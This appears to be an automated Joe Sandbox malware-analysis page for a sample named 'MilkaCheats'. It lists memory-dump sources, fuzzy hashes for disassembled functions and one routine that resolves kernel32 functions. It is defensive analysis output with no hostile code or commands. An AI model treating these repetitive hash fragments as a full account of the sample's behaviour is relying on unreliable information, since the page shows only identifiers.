Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38913a987f0a02ecbc7b952ccdf8d44e61a279966616db813175df46d1e9a2de
Instruction ID: 6aa45bcafa9a56c86b7b17334b599789526cc4a0ec7196b77b8758bd15d04ec5
Opcode Fuzzy Hash: 38913a987f0a02ecbc7b952ccdf8d44e61a279966616db813175df46d1e9a2de
Instruction Fuzzy Hash: 4B112935B016148BCB048F58DC816EEBBF1EF5A320F680478D884A3361D334ADC2DB82

Function 000F5120 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cffc6bbf0bff478969b4cefea039ec4ad7064fec13393a93f305b22ffaf88e8
Instruction ID: 6d1bc7c619090df91082f518b64185e29278bc0d1499515a106fd8ec91eca86c
Opcode Fuzzy Hash: 9cffc6bbf0bff478969b4cefea039ec4ad7064fec13393a93f305b22ffaf88e8
Instruction Fuzzy Hash: 3211A73BB24A3547E7A0CE76DCC462A6393FBC7216B1A0534EB85D7642C631F911E151

Function 0011BB8B Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3f3714de9450171914d34d67a690e905a18c2fe009bf4fd1b138a16d9cf573
Instruction ID: f06b8db73a3e3d4bc7a021748048c46da17c39c8f104aaaa5516f8e5918096f1
Opcode Fuzzy Hash: 6d3f3714de9450171914d34d67a690e905a18c2fe009bf4fd1b138a16d9cf573
Instruction Fuzzy Hash: 9B110475B0D3089BC7089F64CCC16BAB3F6EB8A310F445838EA8487262D735DC96D796

Function 00127090 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 2e4b98aa98885ec5740f180f908ce35c94ce60b324354217ce9c7c57b46a7410
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6611E933A091E40EC3168D3C9410976BFA30AA3235F698399F4B89B2D2D7238D8E8355

Function 0011CBC0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccd4263a6600a8e6b338023b0181bc1196df4a3e081a7fe201df2049addf5b40
Instruction ID: f258ff5e405d792c19cedef448aa7f5cbb729b938d26f6acf89dd649e8f41b9f
Opcode Fuzzy Hash: ccd4263a6600a8e6b338023b0181bc1196df4a3e081a7fe201df2049addf5b40
Instruction Fuzzy Hash: 1901D4F1B4030647E724AE14A4D1BBBF2A86F92754F09443CE90C97302DB7AEC45C2D6

Function 0012C638 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1de961cc74240762131b0e05e0130af0d405d24f73997a9a1bc485c01ee98b7
Instruction ID: f8995caca528373af5e16c4f5f23fa845ca1645616aa26ab8656f2bb8c64e50c
Opcode Fuzzy Hash: e1de961cc74240762131b0e05e0130af0d405d24f73997a9a1bc485c01ee98b7
Instruction Fuzzy Hash: 9C01F23BE482608FD3258F28D8A1756FB13BBDA600F2A456CC8945B681CA355806CBC0

Function 0012A31A Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbdbdcb841174399dc98b2856ec4b76957b4c3d025dededcbd42d9a246898b1e
Instruction ID: 54c5b770e8b0b4044f8afdc2f57e3e313f53d6d12ae121770135c500736d70a9
Opcode Fuzzy Hash: cbdbdcb841174399dc98b2856ec4b76957b4c3d025dededcbd42d9a246898b1e
Instruction Fuzzy Hash: 13114C719093409BE310CF20D84579BBBE5BFC6710F14891CE0D89B691DB758509CB96

Function 0012AC12 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0650010d9ef5eff1850af651b13720640f9d67c7e13fc171a1e9d387270d1f8
Instruction ID: 2d11241aa382b45c53267e5d20bee19262eaa11cd259728e61a65ac30b6c8007
Opcode Fuzzy Hash: d0650010d9ef5eff1850af651b13720640f9d67c7e13fc171a1e9d387270d1f8
Instruction Fuzzy Hash: FC01D1219483208FC3209F28D4812ABFBE1EFA6320F58C869D4D897245E279CD6A9716

Function 0012A582 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09e7b2013ed30e2871e1a17c3986965c10f1200d766ab57ef9dd5fd7e59314ea
Instruction ID: 5ae8f9e40e332d0cb5296783f241b2a71606c285c154dcd45fdadccc76a75bc7
Opcode Fuzzy Hash: 09e7b2013ed30e2871e1a17c3986965c10f1200d766ab57ef9dd5fd7e59314ea
Instruction Fuzzy Hash: 51E02675E4C211ABD315AF649841B79F3AE4F8B364F425A2C9124BB1C2E7B4E4208B99

Function 0012A590 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 574aed5e60e380fbd21de6db32e619e3f7ddf846713984bead572ba33e0e4722
Instruction ID: 10b6260ad87edddf35c85cdd51e4b350060dee8e2065cad0a28d3bae8de97e56
Opcode Fuzzy Hash: 574aed5e60e380fbd21de6db32e619e3f7ddf846713984bead572ba33e0e4722
Instruction Fuzzy Hash: CDE02671D0C2016AD310EF50D881B69F3EE9F97354F025E2C8164BB1C2E7B5E0208B59

Function 00111AF7 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 991f35f4519ef78fb79e3423609d799c38bee837ecbf504b4e026d537cba0194
Instruction ID: fe32aa37a38b3d5f98c580eabf6b3370ab99a3b0082d390882df6b55a6586911
Opcode Fuzzy Hash: 991f35f4519ef78fb79e3423609d799c38bee837ecbf504b4e026d537cba0194
Instruction Fuzzy Hash: 36F03CB4A013159FCB55CF29C8909AABFF0FB1A314B5888ADE859D7342E235D846CB64

Function 000FCD19 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22c6b1cbe60adf494f3244516280e2f7d40bd5b3481dfe2e35f3bd81bb2b4b2
Instruction ID: f1a84c71dcd9fff5fe4d038d0fd9615d18c6a2f42ac4fa5895e43ac4eec48cea
Opcode Fuzzy Hash: c22c6b1cbe60adf494f3244516280e2f7d40bd5b3481dfe2e35f3bd81bb2b4b2
Instruction Fuzzy Hash: 15E012744553098AD710CF04C5616B7B3F0EF8B741F006859E589AFA10F3789C04E72A

Function 001307A6 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb3d1977ac2b8be9356dfbbbb23a5b31506f4f45a913796d615d6814ceec46ac
Instruction ID: 36da6d9cd270071304852e4f56acc928b21862ab6f897e72d0d62858a047d616
Opcode Fuzzy Hash: cb3d1977ac2b8be9356dfbbbb23a5b31506f4f45a913796d615d6814ceec46ac
Instruction Fuzzy Hash: 32F02E33D015A04FD72ACD2488515B5F7B0FB46204F0B01AD88D1B7704C63A6F07C790

Function 000D951A Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e24c9bfb4cf332899fb73c25273ccf871f83bd892387fafdc8e73d2d010a2d
Instruction ID: a3b1f488dffc03bceac8c2b3b766cf4414d08fc6de72786e5806120dae95dc99
Opcode Fuzzy Hash: d2e24c9bfb4cf332899fb73c25273ccf871f83bd892387fafdc8e73d2d010a2d
Instruction Fuzzy Hash: 0EE08C32911728EBCB55DB8CD944D8AF3ECEB44B10B1144A7B501E3211C670DE40C7E0

Function 000FFAF3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e92c1024d163d744d058ea5e2e14fb420d2c5fa1e1ee08206d5bd9cab9d29c
Instruction ID: 53dcaeeac7152c667a699c12e50521daf1e6eae34437cc3099310b9360144825
Opcode Fuzzy Hash: b4e92c1024d163d744d058ea5e2e14fb420d2c5fa1e1ee08206d5bd9cab9d29c
Instruction Fuzzy Hash: 27E00A3491560C8BD658EF20E5554BBB3627F45300B51741CA1835BEA3CF68BC01EF44

Function 00116672 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9f72bfb25c67bd251caac9eacff081d618ec1bd9fe83137742db0d83bbc4e76
Instruction ID: ee8be7abbc7f1ee709470c8a67d01cfa0afc143fc20b2b3645f41e766a6cc85b
Opcode Fuzzy Hash: f9f72bfb25c67bd251caac9eacff081d618ec1bd9fe83137742db0d83bbc4e76
Instruction Fuzzy Hash: E2C08C6AF45009C78E009EA8BC814F9F338DB8B121F002036CA09E3602D629E51D87DA

Function 000FF8AF Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9d11b460ef67fe5ea15234daa9cb0a6d92ef8f6c9115c1b04745392a08f2264
Instruction ID: 14e2ba3fecf5ef123e9866cd5c65c173cbbadffb9738183d701e07690e4349d8
Opcode Fuzzy Hash: b9d11b460ef67fe5ea15234daa9cb0a6d92ef8f6c9115c1b04745392a08f2264
Instruction Fuzzy Hash: 83C02B78C440028BC2041F706C0C1BAB1391B0F202F103434D00B53043EA60C000462F

Function 000D18CF Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f51e1fe94b134a4920c6068f11825d6fa878326ed500dc8ece34ed95d824f43
Instruction ID: 871ad96ca26eed3a773456a705cbe863e9cd2826c8a5f6c37760372897d5e113
Opcode Fuzzy Hash: 8f51e1fe94b134a4920c6068f11825d6fa878326ed500dc8ece34ed95d824f43
Instruction Fuzzy Hash: BEC08C34680B0096CE3AE91082713E43394A392782F80048ED8028B746CE1F9C82F730

Function 000F7398 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de3b5ff09b1d0d1ae63b0a177684ffe8e07211a5b831b2f8fce72c0c22e4e9d6
Instruction ID: 1b2c052b8400636e4bcb222e68c7052c52bfebdc02ffd80a39b0c24950552690
Opcode Fuzzy Hash: de3b5ff09b1d0d1ae63b0a177684ffe8e07211a5b831b2f8fce72c0c22e4e9d6
Instruction Fuzzy Hash: 8DB04834E182008AC3148F14D2519AAB6B6A78F201F11A12DD84C23251C23198008F29

Function 00131E36 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 520558dd20f180bea5b7d0c18e496322c3032679640e7065b26555724ee1b783
Instruction ID: f8f7dfff36ee334b8041c2b8ff66e2fed51feeb52af1e9a8ebdff7ac0544a751
Opcode Fuzzy Hash: 520558dd20f180bea5b7d0c18e496322c3032679640e7065b26555724ee1b783
Instruction Fuzzy Hash: D0900224D581018A81088F01A450870E23B764B101E2434288009334514651D404850C

Function 000C6AC4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 000C6ACA
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 000C6AD8
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 000C6AE9
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 000C6AFA

Strings

GetTempPath2W, xrefs: 000C6AEF
kernel32.dll, xrefs: 000C6AC5
GetSystemTimePreciseAsFileTime, xrefs: 000C6ADE
GetCurrentPackageId, xrefs: 000C6AD2

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 45bd638c45ed047e4ace6d3980636b614aa9f55b5a801a4045f2416c506d87f5
